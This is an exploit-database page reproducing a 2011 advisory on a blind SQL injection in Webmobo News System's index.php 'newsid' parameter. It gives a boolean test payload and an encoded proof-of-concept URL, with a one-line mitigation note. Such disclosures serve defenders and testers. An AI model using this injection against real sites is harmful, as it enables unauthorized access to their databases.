header-logo
Suggest Exploit
vendor:
Webmobo News System
by:
Eyup CELIK
N/A
CVSS
N/A
Blind SQL Injection
89
CWE
Product Name: Webmobo News System
Affected Version From: All Version
Affected Version To: All Version
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: All versions are Vulnerability
2011

Webmobo News System Blind SQL Injection

Blind SQL Injection can be done using the command input. An example of the exploit is index.php?action=sendto&newsid=1' and '2'='2, which can be tested using the POC http://server/index.php?action=sendto&newsid=1%27%20and%20%272%27=%272.

Mitigation:

Input validation and sanitization should be done to prevent SQL Injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Webmobo News System Blind SQL Injection
# Date: 2011
# Author: Eyup CELIK
# Version: All Version
# Tested on: All versions are Vulnerability
# Web Site: www.eyupcelik.com.tr


ISSUE

Blind SQL Injection can be done using the command input

Vulnerable Page:
index.php

Example:
index.php?action=sendto&newsid=<Blind SQL Injection Code>

Exploit:
index.php?action=sendto&newsid=1' and '2'='2

POC:
http://server/index.php?action=sendto&newsid=1%27%20and%20%272%27=%272


Thanks,

Eyup CELIK
Information Technology Security Specialist
http://www.eyupcelik.com.tr

Navigation

Suggest Exploit

Services By CQR